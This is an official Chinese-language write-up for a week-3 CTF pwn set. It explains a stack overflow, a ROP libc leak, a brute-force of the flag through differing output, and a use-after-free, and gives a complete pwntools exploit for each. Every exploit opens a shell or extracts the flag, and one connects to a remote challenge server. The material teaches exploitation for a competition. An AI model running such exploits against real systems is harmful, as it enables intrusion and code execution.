# PWN WEEK3 WP Official Release

## calc

这题是静态链接,意味着只要能rop基本就是直接ropchain来解决了.

洞在run函数中.

```c
void run(){
    puts("welcome to my calculator (alpha version)");

    int buf[0x40];
    int result;
    int i=0;

    while(1){
        menu();
        printf("> ");
        switch(read_int()){
            case 1:{
                result = add_func();
                printf(">>> %d\n",result);
                break;
            }
            case 2:{
                result = sub_func();
                printf(">>> %d\n",result);
                break;
            }
            case 3:{
                result = mul_func();\
                printf(">>> %d\n",result);
                break;
            }
            case 4:{
                result = div_func();
                printf(">>> %d\n",result);
                break;
            }
            case 5:{
                buf[i] = result;
                printf("result %d save success!!\n",buf[i]);
                ++i;
                break;
            }
            case 6:{
                puts("bye.");
                return ;
            }
            default:{
                puts("invaild choice.");
            }
        }
        putchar('\n');
    }
}
```

这里case 5的i没有判断上限,导致buf溢出,从而覆盖ret,直接ropchain.

exp:

```python
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 1

if local:
    cn = process('./calc')
    bin = ELF('./calc')
else:
    pass


def z(a=''):
    gdb.attach(cn,a)
    if a == '':
        raw_input()

from struct import pack

# Padding goes here
p = 'a'*0x100
p+=p32(0x40)
p+=p32(0)
p+='a'*0xc

p += pack('<I', 0x08056ad3) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8446) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x080551fb) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08056ad3) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8446) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x080551fb) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08056ad3) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049603) # xor eax, eax ; ret
p += pack('<I', 0x080551fb) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080dee5d) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08056ad3) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049603) # xor eax, eax ; ret
p += pack('<I', 0x0807b01f) # inc eax ; ret
p += pack('<I', 0x0807b01f) # inc eax ; ret
p += pack('<I', 0x0807b01f) # inc eax ; ret
```

```
p += pack('<I', 0x0807b01f) # inc eax ; ret
p += pack('<I', 0x0807b01f) # inc eax ; ret
p += pack('<I', 0x0807b01f) # inc eax ; ret
p += pack('<I', 0x0807b01f) # inc eax ; ret
p += pack('<I', 0x0807b01f) # inc eax ; ret
p += pack('<I', 0x0807b01f) # inc eax ; ret
p += pack('<I', 0x0807b01f) # inc eax ; ret
p += pack('<I', 0x0807b01f) # inc eax ; ret
p += pack('<I', 0x0806d445) # int 0x80


cn.recvuntil('> ')
cn.sendline(str(len(p)/4+1))

for i in range(len(p)/4):
    cn.sendline('1')
    cn.recvuntil('a:')
    cn.sendline('0')
    cn.recvuntil('b:')
    cn.sendline(str(u32(p[4*i:4*i+4])))
    cn.sendline('5')

#z('b*0x08048bbc\nc')
cn.sendline('6')


cn.interactive()
```

## hacker_system_ver2

这题就是上周ver1的64位版本.

64位函数调用传参不是直接通过栈,而是通过寄存器,不够再用栈.因此我们需要找gadget去给指定寄存器赋值

exp:

```python
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 1

if local:
    cn = process('./hacker_system_ver2')
    bin = ELF('./hacker_system_ver2')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    pass


def z(a=''):
    gdb.attach(cn,a)
    if a == '':
        raw_input()

prdi=0x0000000000400fb3 # pop rdi;ret

pay = 'a'*0x30 + 'b'*8
pay += p64(prdi) + p64(bin.got['read'])
pay += p64(bin.plt['puts'])
pay+= p64(0x400c63)

cn.sendline('2')
cn.recv()
cn.sendline('1000')
cn.recv()
cn.sendline(pay)

cn.recvuntil('\n')
libc_base = u64(cn.recv(6)+'\x00'*2)-libc.symbols['read']
success(hex(libc_base))

system = libc_base+libc.symbols['system']
binsh = libc_base+libc.search('/bin/sh\x00').next()

pay = 'a'*0x30 + 'b'*8
pay += p64(prdi) + p64(binsh)
pay += p64(system)
pay+= p64(0x400c71)

cn.sendline('1000')
cn.recv()
cn.sendline(pay)


cn.interactive()
```

## zazahui_ver2

这题是第一周zazahui的改版,唯一不同的是打印广告的那句放到了while循环外,而栈溢出却只能覆盖广告字符串的地址.

考虑到程序会拿我们的输入和广告做对比,如果不同会显示`"that's not right :(`,相同则会显示`"me too! again!!!"`,可以通过回显的不同来爆破flag内容.

首先我们知道字符串是0字节结尾的.我们从头爆破到尾,输入为0字节,从而爆破出flag的长度,然后从后面开始一位位往前面爆破.

exp:

```python
#coding=utf8
from pwn import *
#context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0

if local:
    cn = process('./zazahui_ver2')
    bin = ELF('zazahui_ver2')
else:
    cn = remote('111.230.149.72',10010)


def z(a=''):
    gdb.attach(cn,a)
    if a == '':
        raw_input()

# 爆破长度
cn.recvuntil('>')
flaglen = 0
for i in range(0x100):
    pay = ''
    pay = pay.ljust(176,'\x00')
    pay+=p32(0x0804A060+i)
    #z('b*0x0804875A\nc')
    cn.send(pay)
    d = cn.recvuntil('>')
    if 'again' in d:
        flaglen=i
        break

success(flaglen)
flag=""


# 从后面往前一位位爆破flag
for i in reversed(range(flaglen)):
    for j in range(30,128):
        pay = chr(j)+flag
        pay = pay.ljust(176,'\x00')
        pay+=p32(0x0804A060+i)

        cn.send(pay)
        d = cn.recvuntil('>')
        if 'again' in d:
            flag = chr(j)+flag
            success(flag)
            break
```

```
success(flag)
cn.close()
```

---

## message_saver

这题考察UAF,即`Use After Free`

简单说一下过程,细节可以到网上搜索.

首先,我们的del函数在free完堆块(chunk)后没有对指针清零,从而使我们能够二次修改它

```
void del_func(struct msg *p)
{
    free(p);
    puts("delete msg done!");
}
```

堆块(chunk)被free后,就变成了bin,按照大小和种类,有fastbin,unsorted bin,small bin,large bin等,归系统管.

当你再次malloc时,系统会优先从bin中找大小相同的,如果你再次申请和第一次一样大的chunk,就会申请到之前的那一块,并且原来的数据是不会被清零的.

emmm,细节的话要把ptmalloc整个看一遍了.

exp:

```python
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 1

if local:
    cn = process('./message_saver')
    bin = ELF('./message_saver')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    pass


def z(a=''):
    gdb.attach(cn,a)
    if a == '':
        raw_input()

def add(len,con,encoder):
    cn.sendline('1')
    cn.recv()
    cn.sendline(str(len))
    cn.recv()
    cn.sendline(con)
    cn.recv()
    cn.sendline(str(encoder))
def edit(len,con):
    cn.sendline('2')
    cn.recv()
    cn.sendline(str(len))
    cn.recv()
    cn.sendline(con)
def dele():
    cn.sendline('4')
def show():
    cn.sendline('3')

add(0x18,'a',1)
# 创建了两个chunk,一个是结构体,一个是存字符串的.
dele()
# 结构体chunk被删除,变成bin
pay = 'a'*0x10+p64(0x400816)
edit(0x18,pay)
# malloc一个0x18的chunk做存新字符串的,和之前的结构体重叠,后面一个为此题中的一个back
door函数地址,执行直接getshell.
# 将encoder的函数指针换成了backdoor,getshell

cn.interactive()
```